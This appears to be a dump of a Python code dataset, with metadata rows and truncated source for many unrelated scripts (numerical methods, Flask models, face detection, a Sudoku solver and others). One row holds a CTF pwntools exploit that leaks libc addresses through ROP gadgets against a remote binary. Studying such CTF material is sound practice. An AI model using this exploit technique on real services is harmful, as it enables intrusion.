blob_id stringlengths 40 40 | language stringclasses 1
value | repo_name stringlengths 5 133 | path stringlengths 2 333 | src_encoding stringclasses 30
values | length_bytes int64 18 5.47M | score float64 2.52 5.81 | int_score int64 3 5 | detected_licenses listlengths 0 67 | license_type stringclasses 2
values | text stringlengths 12 5.47M | download_success bool 1
class |
|---|---|---|---|---|---|---|---|---|---|---|---|
bc40d704453f4394e9649598f8859ae885f09efc | Python | dohy12/coding_test | /수치해석/0927.py | UTF-8 | 673 | 3.4375 | 3 | [] | no_license | # 엡실론 공부
# e**x = 1 + x + (x**2)/2 + (x**3)/3! + (x**4)/4! + ... + x**n/n!
def getEs(n): # n : significant
es = (0.5 * 10**(2-n))
return es
def getApprox(idx, num):
tmp = 0
for i in range(idx+1):
tmp += num**i/math.factorial(i)
return tmp
import math
num = 3
es = getEs(5)
ea = 100
curr_... | true |
178a377df2a1430eb317bdba83f455199e3a3a37 | Python | cmmolanos1/holbertonschool-machine_learning | /pipeline/0x02-databases/105-students.py | UTF-8 | 823 | 3.125 | 3 | [] | no_license | #!/usr/bin/env python3
"""Sorting students"""
def top_students(mongo_collection):
"""returns all students sorted by average score.
Args:
mongo_collection: the pymongo collection object.
"""
pipeline = [
{"$unwind": "$topics"},
{"$group": {"_id": "$_id", 'averageScore': {"$avg"... | true |
fa6793044b4c2c268f444b11aaf9be1afe4381ce | Python | bartelsmanlearnersprofile/bertelsmannlearners | /FlaskAPI/model.py | UTF-8 | 1,380 | 2.828125 | 3 | [] | no_license | from flask_marshmallow import Marshmallow
from flask_sqlalchemy import SQLAlchemy
from marshmallow import fields
db = SQLAlchemy()
ma = Marshmallow()
class Learner(db.Model, dict):
"""
Model class for learners
"""
__tablename__ = 'learners'
id = db.Column(db.Integer, primary_key=True)
slackna... | true |
441b40563445e6021b0bfcbb33e72fefde394304 | Python | william881218/adversarial-robustness-toolbox | /art/attacks/poisoning/backdoor_attack.py | UTF-8 | 3,701 | 2.703125 | 3 | [
"MIT"
] | permissive | # MIT License
#
# Copyright (C) The Adversarial Robustness Toolbox (ART) Authors 2020
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated
# documentation files (the "Software"), to deal in the Software without restriction, including without limitation the
# r... | true |
62749b8b99066f60d789bb52ef30d3de2c030ffd | Python | Vasallius/Python-Journey | /Automate the Boring Stuff With Python/Ch15-Working with PDF and Word Documents/pdf_paranoia_decrypt.py | UTF-8 | 1,402 | 3.125 | 3 | [] | no_license | # PDF Paranoia Decrypt
import os
import PyPDF2
import sys
# Make sure user enters two command line arguments
if len(sys.argv) < 2:
print('Usage: pdf_paranoia_encrypt.py <password>')
sys.exit()
password = sys.argv[1]
# Code for testing if encryption was successful
print('Now testing to decrypt...')
for root,... | true |
c0db691034b0bde5dd079208d512c889ad4ddca7 | Python | cempionai/0a9db264dffd68c8f8b6e591835c526b | /libraries/BaseMethods.py | UTF-8 | 1,091 | 3.515625 | 4 | [] | no_license | #!/usr/bin/python
# coding=utf-8
# @author: Tadas Krisciunas
import re
class BaseMethods:
""" A class implementing a few methods for inheriting classes.
Should not be used directly, but of course can if need be.
"""
removed = [u'.', u',', u'-', u'!', u'?', u'–', u';', u':',
u'—', u'(', u')', u'\n',... | true |
04de07a2a1e85cdeb6548b901352b85764152270 | Python | AdrienLemaire/Katas | /prime_factor/.codersdojo/2012-03-27_15-13-42/state_0/prime_factor.py | UTF-8 | 141 | 2.875 | 3 | [] | no_license | # Adapt the code to your code kata prime_factor.
def prime_factor(nb):
return nb
def test_prime_1():
assert prime_factor(1) == 1
| true |
47180a9be11b4a21e481b7f5cb754697344f800e | Python | lerman2003/Python3-Junior | /Lesson2/HomeWork4_(Leson2).py | UTF-8 | 170 | 3.5 | 4 | [] | no_license | S=float(input("Длина пути(в метрах)"))
U=float(input("Скорость(м/с)"))
t=S/U
print("---------")
print("Время(в секундах)",t)
| true |
43abdef0bf5fc0411c7314ae3a337fa66c5ed318 | Python | martintb/typyEnv | /Environment.py | UTF-8 | 2,565 | 2.53125 | 3 | [
"MIT"
] | permissive | from __future__ import print_function
import os
from typyEnv.Path import Path
from typyEnv.PathMod import PathMod
class Environment(object):
def __init__(self):
self.paths={}
self.dev_paths={}
self.lib_mods=[]
self.inc_mods=[]
# right now, this self.paths method doesn't handle adding to the same ... | true |
0c36cd41877f19065792f9206a25da1d3104ca97 | Python | estraviz/codewars | /7_kyu/Find the Capitals (of a state or country)/python/solution.py | UTF-8 | 289 | 3.96875 | 4 | [] | no_license | # Find the Capitals
def capital(capitals):
output = []
for capital in capitals:
for k, v in capital.items():
if k == 'capital':
c = v
else:
s = v
output.append(f"The capital of {s} is {c}")
return output
| true |
4dc0eac89a811e5b385c6940d46de0f5f9ba9737 | Python | ItsDrike/Mitosis | /cell.py | UTF-8 | 3,065 | 3.546875 | 4 | [] | no_license | import typing as t
from random import randint, choice, uniform
from util import Colors, euclidean_distance
class Cell:
DEACCELERATION_RATE = 0.05
def __init__(
self,
x: float,
y: float,
radius: float,
color: t.Optional[Colors.ColorType] = None,
x_speed: float ... | true |
f986af16c4e9ea7f6881a02fb6a950b06ea34faa | Python | shruthigokul/Python | /Python/Activity6.py | UTF-8 | 153 | 3.5625 | 4 | [] | no_license | num=int(input("enter a number within 10"))
for n in range(1,num+1):
for j in range(n):
print(n,end='')
print()
| true |
4c31045bbb403a4f5fc04cdc38793af0812bf494 | Python | hugohadfield/WhistyMcWhistface | /Assorted/jsonTest.py | UTF-8 | 404 | 2.796875 | 3 | [] | no_license |
import json
from pprint import pprint
def doJson(configFileName):
with open(configFileName) as data_file:
jsonFileData = json.load(data_file)
for parameterCollection in jsonFileData["GameParameters"]:
playerConfigName = parameterCollection["PlayerConfigFile"]
print... | true |
f5148d66c5a5703e7fc7da100428a6ce3940520c | Python | ohjooyeong/python_algorithm | /InflearnPythonAlgorithm/Section2(Search&Simulation)/2-3.py | UTF-8 | 519 | 3.265625 | 3 | [] | no_license | # 카드 역배치
def reverse(x):
a = [0] * len(x)
for i in range(1, len(x) + 1):
a[-i] = x[i - 1]
return a
arr = list(range(1, 21))
for _ in range(10):
a, b = map(int, input().split())
arr[a-1:b] = reverse(arr[a-1:b])
for i in arr:
print(i, end=' ')
"""
정답지
a = list(range(21))
for _ in range(... | true |
50dec5d4a3f43fb494ed58f495e5a484c4d5a85a | Python | ClaudeMa/pyAirmail | /src/widgets.py | UTF-8 | 2,437 | 3.171875 | 3 | [] | no_license | import Tkinter as tk
from Tkconstants import *
import ttk
import tkMessageBox as tMB
import re
class ValidEntry(ttk.Entry):
"""Creates a ttk.Entry field and accepts a regex string for validation of
user entry. If the entry does not match the regex upon focus moving away from
the widget, an error message w... | true |
360bda842d07b62e38d0a03aa2a230e89e211e91 | Python | YuanyuanQiu/LeetCode | /0402 Remove K Digits.py | UTF-8 | 420 | 2.828125 | 3 | [] | no_license | def removeKdigits(self, num: str, k: int) -> str:
n = len(num)
if n <= k:
return '0'
stack = ''
for i in range(n):
while k and stack and int(num[i]) < int(stack[-1]):
stack = stack[:-1]
k -= 1
stack += num[i]
# k > 0单调递增,去掉末尾k个数字
if k:
res ... | true |
00fecea2f9e6caf93b67fe5ad39e75cf10b4d732 | Python | RyHig/rypytree | /rypytree.py | UTF-8 | 3,469 | 3.328125 | 3 | [] | no_license | import pathlib
import argparse
LINES = '│ '
SPACE = ' '
def create_parser():
parser = argparse.ArgumentParser(
description='a program to list all the files and directories ' +
'in the specified directory. If no directory is specified, ' +
'the current directory ... | true |
b5be5990d95959e1d81577f9a4eeb7b07d5b6df1 | Python | chenrui890206/pyqt5 | /2.7QObject定时器1.py | UTF-8 | 1,577 | 3.15625 | 3 | [] | no_license | from PyQt5.Qt import *
class MyLabel(QLabel):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self.setText("10")
self.move(100, 100)
self.setStyleSheet("font-size: 22px;")
def startMyTimer(self, ms):
# 1.开启定时器startTimer(毫秒,Qt.TimerType),返回定时器id,在... | true |
b48b7ecef92fee70f5f9b0519243db5906ef99c1 | Python | hwan1753/Samsung-SW | /D2/Water rate.py | UTF-8 | 342 | 3.140625 | 3 | [] | no_license | T = int(input())
for test_case in range(1,T+1):
i = list(map(int,input().split()))
P, Q, R, S, W = i[0], i[1], i[2], i[3], i[4]
a = P * W
if W <= R:
b = Q
else:
b = Q + (W - R) * S
if a > b:
print("#" + str(test_case)+ " " + str(b))
else:
print("#" + str(test... | true |
5d33decd272a8f4ec871f0cacfc865391e5d97b4 | Python | Cytryn31/PracaMagisterska | /PracaMagisterska/PythonScripts/test.py | UTF-8 | 2,864 | 2.609375 | 3 | [] | no_license | from __future__ import print_function
import matplotlib.pyplot as plt
import numpy as np
from scipy import ndimage as ndi
from skimage import data
from skimage.util import img_as_float
from skimage.filters import gabor_kernel
def compute_feats(image, kernels):
feats = np.zeros((len(kernels), 2), dtype=np.double... | true |
191b6f9a4ff65963a1100e25fcfa8391906eae14 | Python | alexandraback/datacollection | /solutions_2692487_0/Python/ashwink/A.py | UTF-8 | 1,092 | 3 | 3 | [] | no_license | import sys
f = open(sys.argv[1], 'r')
T = int(f.readline())
for case in range(0, T):
(A, N) = [int(x) for x in f.readline().split()]
motes = [int(x) for x in f.readline().split()]
best = [N for i in range(0, N)]
adds = 0
motes.sort()
#print "motes: %s" % motes
for (i, mote) in enumerate(mo... | true |
98bb2be061ebc70784a5aea386d57604cd4a0fa5 | Python | metulburr/morse_code | /main.py | UTF-8 | 1,930 | 3.46875 | 3 | [] | no_license |
import pygame
import os
import time
pygame.mixer.init()
char_time = .75
word_time = 1.5
sound = pygame.mixer.Sound('beep.wav')
def longbeep():
len = .75
sound.play()
time.sleep(len)
sound.stop()
def shortbeep():
len = .25
sound.play()
time.sleep(len)
sound.stop()
dot = lambda:s... | true |
873751af3f94d74442f520b83396d9ceb2d5d108 | Python | milenpenev/Python_Advanced | /Exam preparation/Python Advanced Retake Exam - 14 April 2021/03-flights.py | UTF-8 | 552 | 3.15625 | 3 | [
"MIT"
] | permissive | def flights(*kwargs):
for key in range(0, len(kwargs), 2):
if kwargs[key] == "Finish":
break
else:
destination = kwargs[key]
passengers = kwargs[key + 1]
if destination not in completed_flights:
completed_flights[destination] = passenge... | true |
9aa86dc3d4db4d669cef58680c773a7f70faa8f8 | Python | Rainer-Kempkes/IP518bb_QuizGenerator | /src/Sentence/get_subject_word_from_dependency_tree.py | UTF-8 | 539 | 3.125 | 3 | [
"MIT"
] | permissive | from pprint import pprint
def get_subject_word_from_dependency_tree(tree, tokens):
"""
Returns the word which can be considered the subject of a sentence
:param tree:
:param tokens:
:return:
"""
# Find root node
root = None
for node in tree:
if node[0] == 'ROOT':
... | true |
1940e537b388606dea03a667b26681a5f3901666 | Python | MichalLinek/inteview-questions | /leetcode/sequential-digits/solution.py | UTF-8 | 386 | 2.984375 | 3 | [] | no_license | class Solution:
def sequentialDigits(self, low: int, high: int) -> List[int]:
output = []
for i in range(1, 10):
for j in range(1, 10 - i + 1):
num = 0
for k in range(i):
num = num * 10 + k + j
if low <= num <= high:
... | true |
e53c3a5efd5933169faf0801fc2230578f73e5e4 | Python | leejh96/face_recognition | /웹캠에서얼굴인식.py | UTF-8 | 1,991 | 2.8125 | 3 | [] | no_license | import cv2
import numpy as np
font = cv2.FONT_ITALIC
def faceDetect():
eye_detect = True
faceCascade = cv2.CascadeClassifier(r"D:/OpenCV/FaceDetect-master/haarcascade_frontalface_default.xml") # 얼굴 찾기 파일
eyeCascade = cv2.CascadeClassifier(r"D:/OpenCV/FaceDetect-master/haarcascade_eye.xml") # 눈 찾기 ... | true |
22340a8f82c4b493c6130bee3399042c42d38121 | Python | chrishefele/kaggle-sample-code | /WordImputation/src/old/trie_NGramIndex.py | UTF-8 | 2,012 | 3.1875 | 3 | [] | no_license | import sys
import marisa_trie # memory-efficient implementation of trie data structure
import time
data_format = "<i"
WORD_SEP = "`"
class NGramIndex:
def __init__(self, ngram_file, **kwargs):
self.build_index(ngram_file, **kwargs)
def build_index(self, ngram_file, **kwargs):
data = sel... | true |
3cd32f641c74b365be271f7ae854ed4eab09e590 | Python | ben-dent/Contract-Cheating-Analysis | /getMostFrequentBidders.py | UTF-8 | 784 | 2.78125 | 3 | [
"MIT"
] | permissive | import sqlite3 as lite
con = lite.connect('JobDetails.db')
cur = con.cursor()
bids = {}
cur.execute('SELECT DISTINCT(User) FROM Bids')
bidders = [each[0] for each in cur.fetchall()]
for i in range(len(bidders)):
bidder = bidders[i]
print("Bidder " + str(i + 1) + "/" + str(len(bidders)))
cur.execute("SEL... | true |
41be280c253f41a4abb19d86924716b9315e0880 | Python | priyankninama/Python_Programmes- | /Match Substring using regular expression.py | UTF-8 | 331 | 3.484375 | 3 | [] | no_license | import re
def text_match(text):
patterns = '^[a-zA-Z0-9_]*$'
if re.search(patterns, text):
return ('Found a match \n')
else:
return('Not matched any number and underscore in string \n')
print(text_match("Gec gandhinagar."))
print(text_match("Python_prac... | true |
9cba9e949c77f41b842980d72b2d976667d44ad0 | Python | EmbraceLife/LIE | /my_utils/plot_math_functions.py | UTF-8 | 1,962 | 3.21875 | 3 | [] | no_license | """
plot_math_functions
"""
import matplotlib.pyplot as plt
import numpy as np
import keras.backend as K
# a function between two variables (y_true, y_pred)
def f(y_true,y_pred):
return np.exp(-y_true)*np.sin(y_pred-y_true)
y_true = np.linspace(0,5,3001)
y_pred = np.arange(0,40000,4000)
for tval in y_pred:
... | true |
6288c6a6508a182d0cefd0222f92b2c48d0a93ba | Python | amyd99/tvshow-crawler | /get-tv-shows.py | UTF-8 | 1,578 | 2.796875 | 3 | [
"Apache-2.0"
] | permissive | import sys
import http.client
from pathlib import Path
from html.parser import HTMLParser
class MyHTMLParser(HTMLParser):
def __init__(self):
HTMLParser.__init__(self)
self.found = False
self.tv_list = []
def handle_starttag(self, tag, attrs):
if tag != "input":
re... | true |
53ec3c80ee1d0ed9007360f38dd34fc50dd0e494 | Python | BlueWolf2137/bootcamp | /1/6.py | UTF-8 | 185 | 3.9375 | 4 | [] | no_license | a = float(input("Podaj liczbę: "))
b = (a>10)
c = (a<=15)
d = ((a%2)==0)
print(f"Większa od 10: {a>10}")
print(f"Mniejsza równa 15: {a<=15}")
print(f"Podzielna przez 2: {(a%2)==0}") | true |
67a71f298901a771e96e1e28e8495e05d6b84bfc | Python | Contrast-Labs/detect-secrets | /testing/mocks.py | UTF-8 | 2,618 | 2.828125 | 3 | [
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | """This is a collection of utility functions for easier, DRY testing."""
import io
from collections import defaultdict
from contextlib import contextmanager
from types import ModuleType
from typing import Any
from typing import Dict
from typing import Generator
from typing import IO
from typing import Iterator
from typ... | true |
0de535f9a72eb1db610b9fb478f8d743e83a68d6 | Python | pawel-baster/enc-backup | /encbackup/helpers/logging.py | UTF-8 | 414 | 2.671875 | 3 | [] | no_license | '''
Created on 2012-04-01
@author: pawel
'''
import datetime
class Logger(object):
printDebug = True
@staticmethod
def _printLine(msg):
print datetime.datetime.today().strftime('%Y-%m-%d %H:%M:%S :'), msg
@staticmethod
def log(msg):
Logger._printLine(msg)
@staticmethod... | true |
75b6db5526db293f3d5fbaa3998306fdfa66fe37 | Python | pravali96/Natural-Language-Processing | /Spam Classifier Models/SpamClassifierModel.py | UTF-8 | 1,733 | 2.984375 | 3 | [] | no_license | # -*- coding: utf-8 -*-
"""
Created on Tue Jun 22 13:23:24 2021
@author: prava
"""
import pandas as pd
messages=pd.read_csv('C:/Users/prava/Downloads/SMSSpamCollection.csv',
sep='\t', names=["label","message"])
messages.head()
import re
import nltk
nltk.download('stopwords')
from ... | true |
6db918db62fbe77b71e3044930646f689495679b | Python | GeoGateway/GNSS_clustering | /clusterVelocity.py | UTF-8 | 11,509 | 3.0625 | 3 | [] | no_license | #!/usr/bin/env python3
# Author: Developed for GeoGateway by Robert Granat and Michael Heflin
# Date: Aug 7, 2019
# Organization: JPL, California Institute of Techology
prolog="""
**PROGRAM**
clusterVelocities.py
**PURPOSE**
Calculate cluster membership of GPS stations based on velocities obtained from the ro... | true |
04ef24e6b896b641acdee30f575a8e8b0a9921fd | Python | Manguinhos-HacktoberFest-2019/rpg | /src/phases/escolhas.py | UTF-8 | 2,278 | 3.890625 | 4 | [] | no_license | #Autor: Joao Pedro Garcia Pereira
def escolhas():
def validador(resposta):
while resposta!=1 and resposta !=2:
print("Esta não é uma resposta válida, tente novamente")
resposta=int(input("Oque você deseja? (1 ou 2): "))
return resposta
gameover=4
restart=1
while restart==1 and gameover>0:
restart=0
ga... | true |
f30956d9347d6a0390de7fd0ce6ff2f5166d2e84 | Python | recursecenter/recurse-lisp-workshop | /lisp/src/nodes/program.py | UTF-8 | 322 | 3.140625 | 3 | [] | no_license | class Program(object):
def __init__(self, expressions):
self.expressions = expressions
def __repr__(self):
return '\n'.join([x.__repr__() for x in self.expressions])
def evaluate(self, scope):
results = [expr.evaluate(scope) for expr in self.expressions]
return results.pop(... | true |
c92ee149b0ac5781a84718b80b207e665c33788e | Python | PIG-007/CTF | /PWN/0x05-Leak_libc/LCTF 2016-pwn100_without_libc/pwn100_without_libc.py | UTF-8 | 2,927 | 2.625 | 3 | [] | no_license | #!/usr/bin/python
#coding:utf-8
from pwn import *
io = remote("172.17.0.3", 10001)
elf = ELF("./pwn100")
puts_addr = elf.plt['puts']
read_got = elf.got['read']
start_addr = 0x400550
pop_rdi = 0x400763
pop6_addr = 0x40075a #万能gadget1:pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; retn
mov_call_addr = 0x40... | true |
d9c11009af9f8f9b53a04fb67fe358e7e4ec1c5a | Python | marielribes2/python_samples | /test.py | UTF-8 | 143 | 2.640625 | 3 | [
"MIT"
] | permissive |
def printhellofivetimes():
for i in range (5):
print("hello")
printhellofivetimes()
printhellofivetimes()
printhellofivetimes() | true |
1ace316cef46ebd59649586bc4e8ae4ca080a4d3 | Python | github/codeql | /python/ql/test/experimental/library-tests/CallGraph/code/runtime_decision_defns.py | UTF-8 | 131 | 2.6875 | 3 | [
"MIT",
"LicenseRef-scancode-python-cwi",
"LicenseRef-scancode-other-copyleft",
"GPL-1.0-or-later",
"LicenseRef-scancode-free-unknown",
"Python-2.0"
] | permissive | import random
if random.random() < 0.5:
def func4():
print("func4 A")
else:
def func4():
print("func4 B")
| true |
622ef4236a8ce4af3941e875cfe8076ef5ee673e | Python | jianyu-m/comp9102-assignment3 | /cluster.py | UTF-8 | 3,749 | 2.859375 | 3 | [] | no_license | import numpy
from sklearn.cluster import KMeans as kmeans
import math
N = 18576
alpha = .1
def log_e(d, e):
if d == 0:
return 0
else:
return - d / e * math.log(d / e)
def log_ce(wc, w, c, n):
if N == 0:
return 0
else:
return wc / n * math.log2(n * wc / (w * c))
if __n... | true |
10113a3f5a093941ab8d3c3b7a1e788390ed42c3 | Python | karthik-dasari/Python-programs | /Program to Convert Kilometers to Miles.py | UTF-8 | 166 | 4.34375 | 4 | [] | no_license | #Python Program to Convert Kilometers to Miles
kilometers = float(input("Enter value in kilometers: "))
fac=0.621371
Miles=kilometers*fac
print("in miles=",Miles) | true |
266dee29465c16d4e6ba56d52efb311d3d016265 | Python | Codaone/python-bitshares | /tests/test_txbuffers.py | UTF-8 | 3,179 | 2.546875 | 3 | [
"MIT"
] | permissive | import unittest
from bitsharesbase import operations
from .fixtures import fixture_data, bitshares
class Testcases(unittest.TestCase):
def setUp(self):
fixture_data()
def test_add_one_proposal_one_op(self):
tx1 = bitshares.new_tx()
proposal1 = bitshares.new_proposal(tx1, proposer="in... | true |
9711c5409e0e067496c738588a22609771b1de5a | Python | muhilvarnan/flask-serverless | /tests/test_modules/test_service_now.py | UTF-8 | 521 | 2.640625 | 3 | [] | no_license | """
Unit test for service now
"""
import unittest
import mock
from modules import service_now
from mock_data import books
@mock.patch('modules.service_now.requests.get')
class ServiceNowTest(unittest.TestCase):
def test_get_books(self, mock_get):
"""
should return get books
"""
moc... | true |
1d72eae046be42cb6aca45b7cb3a6a7d879f2eb1 | Python | wyaadarsh/LeetCode-Solutions | /Python3/1091-Shortest-Path-in-Binary-Matrix/soln-1.py | UTF-8 | 982 | 2.828125 | 3 | [
"MIT"
] | permissive | class Solution:
def shortestPathBinaryMatrix(self, grid: List[List[int]]) -> int:
if grid[0][0] == 1:
return -1
def neighbor8(i, j):
n = len(grid)
for di in (-1, 0, 1):
for dj in (-1, 0, 1):
if di == dj == 0:
... | true |
089d2dbbdaf60ae4a62fd9ea347b5d2eac1d1d48 | Python | AkiLotus/AkikazeCP | /Vault/Codeforces Gyms-VPs/2017-2018 ACM-ICPC Pacific Northwest Regional Contest (Div. 1)/J.py | UTF-8 | 1,602 | 3.015625 | 3 | [] | no_license | import sys
m, n = map(int, sys.stdin.readline().split())
minimumInCol = []
maximumInCol = []
minimumInRow = []
maximumInRow = []
invalid = False
for i in range(0, m):
minimumInCol.append(m)
maximumInCol.append(-1)
minimumInRow.append(n)
maximumInRow.append(-1)
board = []
for i in range(0, m):
i... | true |
1a0eb9924f4404ca06f9a3b792cc077596000129 | Python | sixfwa/computational-intelligence-cw | /lab-sign-off/python_code/algorithms.py | UTF-8 | 2,585 | 3.53125 | 4 | [] | no_license | import time
import random
from utils import shortest_tour, swap_elements, sorted_tours
# Parameters CompleteGraph and time limit
def random_search(graph, limit):
number_of_tours = graph.number_of_tours()
tours = {}
start = time.time()
finish = start + limit
while start < finish:
# {tour (t... | true |
d71c5d068d9be02152dfa5554dacfcd5609c5337 | Python | atturaioe/digital-image-correlation | /correlation.py | UTF-8 | 2,115 | 3.015625 | 3 | [] | no_license | import numpy as np
from PIL import Image
import argparse
def standardize(arr):
"""Apply stadardization to the given array"""
standardized = arr - np.mean(arr)
standardized /= np.linalg.norm(standardized) # L2 norm
return standardized
def rescale(arr):
"""Min-max normalization. Rescale given a... | true |
0b071b48624b033bc94b648093af08bbdfa325f2 | Python | deepbaksu/DFAB-Trello-automation | /card_archiver.py | UTF-8 | 1,440 | 2.671875 | 3 | [] | no_license | import re
from datetime import date
from common import utils
class DoneCardsArchiver:
def __init__(self, team_info, today):
self.team_info = team_info
self.today = today
self._check_valid_init_input()
def archive_done_cards(self, resource_service, list_name, board_date):
boar... | true |
1bfd3d973ec3a5c9385ee9f1f7093530b5ef72d8 | Python | S1lenix/PythonLabs | /Python3/tempCodeRunnerFile.py | UTF-8 | 211 | 2.515625 | 3 | [] | no_license | def tochkanapryamoy():
k,b = map(float, input().split('x'))
x,y = map(float, input().split(';'))
if k*x+b==y:
print(True)
else:
print(False)
tochkanapryamoy()
| true |
7b8d1f3eac79a5508d8fe825847b601f0a03afec | Python | JumboSoftware/PYGO | /PYGO/src/app.py | UTF-8 | 3,463 | 3.421875 | 3 | [] | no_license | import random
import os
# welcome to pygo's source code
startup_message = """
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Pygo V1
Made by Jumbo
Owned by Jumbo
Welcome to Pygo, a Text Editor.
If you are new, please execute 'help' to get started.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~... | true |
a012171140b5572067cce232499f2f175c9b4d91 | Python | keiraaaaa/Leetcode | /Jun_14.py | UTF-8 | 2,433 | 3.59375 | 4 | [
"MIT"
] | permissive | '''
############################
# 142. Linked List Cycle II
############################
# Definition for singly-linked list.
class ListNode(object):
def __init__(self, x):
self.val = x
self.next = None
class Solution(object):
def detectCycle(self, head):
"""
:type head: ListNo... | true |
15135129dc3bcc05393d137bab65b84e2bc25000 | Python | mattkim8/CSI | /sudoku.py | UTF-8 | 6,178 | 3.78125 | 4 | [] | no_license | # Problem Set 8
# Name: Kim, Matthew
# Collaborators: last name1, first name1; last name2, first name2; etc.
# Description: A solver for the Sudoku puzzle
import sys
def grid_display(board):
"""Display the board as a nice grid on the screen."""
for j in range(9):
for k in range(9):
... | true |
5b5b850f1a511916b0a528cc5c0b6e07f55aa217 | Python | swanhack/lightbot | /py/FresherUno.py | UTF-8 | 3,397 | 2.78125 | 3 | [] | no_license | import serial
import time
from time import sleep
import threading
import asyncio
# Serial signals
SSIG_DISCORD_JOIN = 1
SSIG_SET_DEFAULT_COLOUR = 2
SSIG_QUERY_STATE = 3
# Colour Macros
SWAN_HACK_GREEN = (0x00, 0xFF, 0x02)
class FresherUno:
def __init__(self, serPort, serSpeed):
self.serialCon ... | true |
ba10df750bbe383166524715c6cbf7448bfd1d70 | Python | ShubhamWaghilkar/python | /healthy programmer.py | UTF-8 | 2,682 | 3.125 | 3 | [] | no_license | import pygame
import time
import datetime
from pygame import mixer
current_time = time.strftime("%H:%M:%S")
work_start_time = '09:00:00'
work_end_time = '24:00:00'
water_limit = 200
glass_size = 5
no_of_glass = round(water_limit/glass_size)
total_work = 60 #8hours
water_interval = (total_work/no_of_glass)
eye_count ... | true |
ee628766088e2ce2e811630d9812b75076d0f23a | Python | vishnupsatish/CCC-practice | /2018/J5/J5_not_correct.py | UTF-8 | 1,622 | 2.859375 | 3 | [] | no_license | def minus1(num):
return num - 1
pages = int(input())
temp_pages_reachable = [list(map(minus1, list(map(int, input().split())))) for _ in range(pages)]
pages_reachable = []
end_pages = []
visited = dict()
for page in range(len(temp_pages_reachable)):
if temp_pages_reachable[page][0] == -1:
end_pages.append(page)... | true |
2eb6b8ec9c7e9a8463baa5a57c84aaa4e8978a50 | Python | LawrenceGao0224/LeetCode | /two_sum.py | UTF-8 | 795 | 3.265625 | 3 | [] | no_license | from typing import List
class Solution:
def twoSum(self, nums: List[int], target: int) -> List[int]:
sort_nums = sorted(nums)
l = 0
r = len(sort_nums)-1
while r > l:
summ = sort_nums[l] + sort_nums[r]
if summ > target:
r -= 1
... | true |
68e5787e380035558cc12d269e64d57bd7e46052 | Python | PawaN-K-MishrA/2048_Game | /logic.py | UTF-8 | 3,572 | 3.453125 | 3 | [] | no_license | import random
#game starting function
def start_game():
mat=[[0 for j in range(4)] for i in range(4)]
return mat
#adding new 2 at random function
def add_new2(mat):
r=random.randint(0,3)
c=random.randint(0,3)
while mat[r][c]!=0:
r=random.randint(0,3)
c=random.randint(0,3)
mat[r... | true |
ee761a12c29ebf2448076359b6c6f3ffdc58224b | Python | cofinoa/cfdm | /cfdm/core/data/numpyarray.py | UTF-8 | 2,439 | 2.96875 | 3 | [
"MIT"
] | permissive | from builtins import super
import numpy
from . import abstract
class NumpyArray(abstract.Array):
'''A container for a numpy array.
.. versionadded:: 1.7.0
'''
def __init__(self, array=None):
'''**Initialization**
:Parameters:
array: `numpy.ndarray`
The numpy array.
'''
... | true |
93ff28f109cf329e20b3b2adb759ade990a8756d | Python | Aashish2023/Hactoberfest2021 | /mile2km.py | UTF-8 | 871 | 3.1875 | 3 | [] | no_license | from tkinter import *
win = Tk()
win.minsize(300,200)
win.title("MILE TO KM CONVERTOR")
def mile2km(val):
km = int(val)*1.6
return round(km,2)
def click():
ques=mile_value.get()
ans= mile2km(ques)
ans_km.config(text=str(ans))
########################################################
ise... | true |
4366af2326389a926e103eb162486c1b3dbee784 | Python | YuLin1226/RANSAC | /Project_1/scale_registration.py | UTF-8 | 3,223 | 2.609375 | 3 | [] | no_license | import random
import numpy as np
import math
import matplotlib.pyplot as plt
def _cal_distance(x1, y1, x2, y2):
return ((x1-x2)**2 + (y1-y2)**2)**0.5
def _ransac_find_scale(pts_set_1, pts_set_2, sigma, max_iter=1000):
length, _ = np.shape(pts_set_1)
best_ratio = 0
total_inlier, pre_total_inlier =... | true |
11c8f0cd37f1418c4c955b7abfb168bb06138e35 | Python | szekany/autograder_visualization | /first_submit_vs_final_grade_boxplot.py | UTF-8 | 3,766 | 2.90625 | 3 | [] | no_license | # Quick visualization of students first submissions vs final date produced by autograder.io
#
# EXAMPLE USAGE: python first_submit_vs_final_grade_boxplot.py -f project_scores.csv
#
# (c)Steve Zekany EECS 370 Winter 2020
import csv
import seaborn as sns
import pandas as pd
import matplotlib.pyplot as plt
import matplot... | true |
dcb824aac825b17d4ab2899ea875959ab58db04a | Python | JongbinWoo/Intro-to-ml | /summer/lab5/lab.py | UTF-8 | 1,653 | 3 | 3 | [] | no_license | import numpy as np
import random
import pandas as pd
import matplotlib.pyplot as plt
def distance(M, data):
A = np.zeros((data.shape[0],M.shape[0]), dtype=np.float)
for i in range(data.shape[0]):
for j in range(M.shape[0]):
A[i,j] = np.linalg.norm(data[i] - M[j])
#B = np.argmin(... | true |
2833124bc799bf034406cdd21429278a68911ed2 | Python | danielvanpaass/Demonstrator | /Client/Angle.py | UTF-8 | 3,289 | 3.46875 | 3 | [
"MIT"
] | permissive | # Angle to sun calculation, azimuth TEST
import datetime
import math
import matplotlib.pyplot as plt
import numpy as np
year = 2019
# hour = pd.date_range(start=year, end='2020', freq='1h')
hoy = 1
def calc_sun_position(self, latitude_deg, longitude_deg, year, hoy):
"""
Calculates the Sun Position for a... | true |
14203fe5c1a2a51cc71f71664717e1e2f077dee0 | Python | ArthurVal/arthoolbox | /python/src/arthoolbox/localization/position.py | UTF-8 | 6,978 | 3.53125 | 4 | [
"MIT"
] | permissive | """Module use to define Position/Coordinate classes for Position handling
Classes list:
- Coordinate: Simple namespace use to store coordinates and conversions functions
- Position: Handle a postion (ie a coordinate and a frame_id)
"""
import copy, math, collections
from collections import namedtuple
class Coordinate... | true |
7bf5daa4c930b179431d83f8372d36f974cb0784 | Python | guillerova/SpainAI_2020_Series_Temporales | /general_utils.py | UTF-8 | 1,065 | 2.546875 | 3 | [] | no_license | import pandas as pd
def _fix_weights(weights):
suma_weights = sum(weights.values())
if suma_weights < 1.0:
# print(sum(weights.values()))
max_weight_asset = list(sorted(weights, key=weights.get, reverse=True))[0]
falta = 1 - suma_weights
